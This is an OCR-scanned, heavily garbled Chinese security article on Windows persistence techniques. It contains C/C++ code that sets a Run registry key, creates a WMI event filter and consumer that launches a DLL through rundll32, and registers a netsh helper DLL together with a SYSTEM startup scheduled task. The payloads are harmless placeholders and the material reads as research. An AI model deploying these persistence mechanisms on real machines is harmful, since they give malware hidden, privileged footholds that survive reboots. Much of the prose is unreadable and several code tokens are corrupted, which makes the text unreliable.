{BEWIndowsVistaf1E#hR A _EERIATREIE,

REMEEP TS AL, TEABMU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunJgfl :

#include <iostream>
#include<windows.h>
int mainQ)
{
//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY hKey;
DWORD dwDisposition;
const char path[] = "C:\\HelloTopSec.exe";//hello.exe
if (ERROR_SUCCESS != RegCreateKeyExA(CHKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", @, NULL, @, KEY_WRI
TE, NULL, &hKey, &dwDisposition))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "hello", @, REG_SZ, (BYTE*)path,
(1 + ::lstrlenA(path))))

{
return 0;
}
return 0;
}
BITRE]
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LAV BIEEEAWindowsRIERA LT LTS, BMEAWMIEMS, ERTHZN LETXH
RBITHOEGEAKAWMIBHEIE, RUSEHFEENHARNESEE, MXRKAWMIBHEFETE
WMITZfEEER, MUSYSTEMB3IETT, AEEMSISERIFAE. BERE] BKE, BEFRVAPTA
LUEMXMEARLES B HFAME, NEARBHWMIKGEESZEMRARRITT .

WMI R @ I AIE = (VBScript 3 Windows PowerShell)SEE IR A ithsl mf2 fWindows i+ E .31 AR
%23, BN, BEERIWMIIRE T—/\M\Zﬁgwmdows Management Instrumentation
Command-line (WMIC) a2 1THRE, HITEAIMNEIWMICTEREERRSZHIIWMI,

[global switches] <command>

The following global switches are available:
Path for the namespace the alias operate against.
Path for the role containing the alias definitions.
Servers the alias will operate against.

/ IMPLEVEL Client impersonation level.

/AUTHLEVEL Client authentication level.

/LOCALE Language id the client should use.

/PRIVILEGES Enable or disable all privileges.

/TRACE Outputs debugging information to stderr.

/RECORD Logs all input commands and output.

/INTERACTIUE Sets or resets the interactiue mode.

/FAILFAST Sets or resets the FailFast mode.

/USER 3 to be used during the session.

/PASSWORD ord to be used for session login.

/OUTPUT Specifies the mode for output redirection.

/APPEND ies the mode for output redirection.

/AGGREGATE s or resets aggregate mode.

/AUTHORITY Specifies the <authority type> for the connection.

/?[ :<BRIEF|FULL>] Usage information,

For more information on a specific global switch, type: switch-name /7%

The folleowing alias s a available in the current role:
Access to the aliases available on the local sys
Base board (also known as a motherboard or system boa
rd) management.
BIOS Basic input/output services (BIOS) management.
BOOTCONFIG Boot configuration management.
CDROM CD-ROM management . aaaaaaaaaaaaa
COMPUTERSYSTEM Computer system management.
CPU CPU management .
CSPRODUCT Computer system product information from SMBIOS.
DataFile Management.
DCOM Application management.
DESKTOP User s Desktop management.
DESKTOPMONITOR Desktop Monitor management.
DEUICEMEMORYADDRESS Device memory addresses management.
DISKDRIUE ical disk driuve management.
DISKQUOTA isk space usage for NTFS volumes.
DMACHANNEL Direct memory access (DMA) channel manag
ENUIRONMENT System environment settings management.

WMIEBFERWMIEIRIES (WQL) , ERSQLI—TFE&E, BEARNIEXERSIFWMI,
WQLZHF=MEEMNENW, BEEW. FMEARBHEN, HEZERSHEEWHITEMN, RK
EEN, SHREEFVERSHAEIRTIMUI TSI SMH.
BREKAWMISHITHE, FEBRTUT=S
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th=fexePath;CommandLineTemplate=3$ thl

Set-Wmilnstance-Class__FilterToConsumerBinding-
Namespace” root\subscr1pt10n -Arquments
@(Filter=3y y ter :Consumer=$WMIEvent imer )

ATRICEDER T 2aE
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BOOL add_wmi_filter()

{
BOOL ret = FALSE;
int path_len = NULL;
TCHAR* command = NULL;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

si.cb = sizeof (STARTUPINFO);
si.wShowWindow = SW_HIDE;
command = new TCHAR[MAXBYTE * 7];
if (command == NULL)
{

goto ERROR_EXIT;

}

//3H—1 event filter

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription
\" PATH __EventFilter CREATE Name=\"TopsecEventFilter\", EventNameSpace=\"root
\\cimv2\",QueryLanguage=\"WQL\", Query=\"SELECT * FROM __InstanceModificationEve
nt WITHIN 20 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AN
D TargetInstance.SystemUpTime >=120 AND TargetInstance.SystemUpTime < 150
\"\"")D;

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &
pid)
{
goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);

/RN — B HERE

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription
\" PATH CommandLineEventConsumer CREATE Name=\"TopsecConsumer\", ExecutablePath=
\"C:\\Windows\\System32\\cmd.exe\",CommandLineTemplate=\" \/c Rundl132 C:\\topse
c.dll RunProc\"\""));

memset(&pi, @, sizeof(pi));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &
pi))
{
goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);

//BEEHREESE

wsprintf(command, _TEXT("cmd \/c \"wmic \/NAMESPACE:\"\\\\root\\subscription
\" PATH __FilterToConsumerBinding CREATE Filter=\"__EventFilter.Name=\\\"TopsecE
ventFilter\\\"\", Consumer=\"CommandLineEventConsumer.Name=\\\"TopsecConsumer
\N\\"\"\""));

memset(&pi, @, sizeof(pi));
if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &
pid)
{
goto ERROR_EXIT; A

}

WaitForSingleObject(pi.hProcess, INFINITE);
TerminateProcess(pi.hProcess, 0);
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ret = TRUE;
ERROR_EXIT:

if (command !'= NULL)

{

delete[] command;
command = NULL;

return ret;

BXREMENNEZER, FIUNEEMRELED, EKREHEA (https://docs.microsoft.com/en-
us/windows/win32/wmisdk/receiving-event-natifications),

BXWMIBHNESZER, TTMBEERRELEED, FHAWQLE (https://docs.microsoft.com/en-
us/windows/win32/wmisdk/querying-with-wql),

XFWMIKBNEZER, a3 EFireEye RHBHIBERP, (WINDOWS MANAGEMENT
INSTRUMENTATION (WMI) OFFENSE, DEFENSE, AND FORENSICS
(https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-
windows-management-instrumentation.pdf)) .
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BOOL add_to_netsh_helper(LPCTSTR dll_path)

{

BOOL ret = FALSE;

int path_len = NULL;

TCHAR* command = NULL;

STARTUPINFO si = {0},

PROCESS_INFORMATION pi = {0};

si.cb = sizeof(STARTUPINFO);

path_len = _tcslen(dll_path);

command = new TCHAR[(path_len * sizeof(TCHAR) + sizeof(TCHAR)) * 27;

//#hinetsh helper

wsprintf(command, _TEXT("cmd \/c \"netsh add helper %s\""), dll_path);

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &
pid)

{

goto ERROR_EXIT;
}

WaitForSingleObject(pi.hProcess, INFINITE);
memset(&pi, @, sizeof(pi));

// R MnetshERFRTLIMES
wsprintf(command, _TEXT("cmd \/c \"schtasks.exe \/create \/tn \"init\" \/ru
SYSTEM \/sc ONSTART \/tr \"C:\\windows\\system32\\netsh.exe\"\""));

if(!CreateProcess(NULL, command, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &
pi))
{
goto ERROR_EXIT;

}

WaitForSingleObject(pi.hProcess, INFINITE);
ret = TRUE;

ERROR_EXIT:
if (command !'= NULL)
{

delete[] command;
command = NULL;

}

return ret;

HrNetsh Helper DLLEESH— P REE NetshiAH, SHEHRRLXBAEBUT:
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BOOL APIENTRY D11Main( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID 1pReserved

)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
OutputDebugString(_TEXT("Load DLL~~"));
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DWORD _stdcall NewThreadProc(LPVOID 1pParam)
{
while (TRUE)
{
OutputDebugString(_TEXT("Netsh Helper, Hello Topsec"));
}
return 0;
}
extern "C" DWORD _stdcall InitHelperD11(DWORD dwNetshVersion, PVOID Reserved)
{
CreateThread(NULL, NULL, NewThreadProc, NULL, NULL, NULL);
MessageBox(NULL, _TEXT("Netsh Helper, Hello Topsec"), NULL, MB_0K);
return NO_ERROR;
}
BITHRE]

LEBRBEESARIMNetsh Helper DLL, RBRRINITRIES, ERESHHIRERSINetsh, T8

EREMRUNE:

C:“Users“Think® coprpersistence.exe c:netsh_dll.dll
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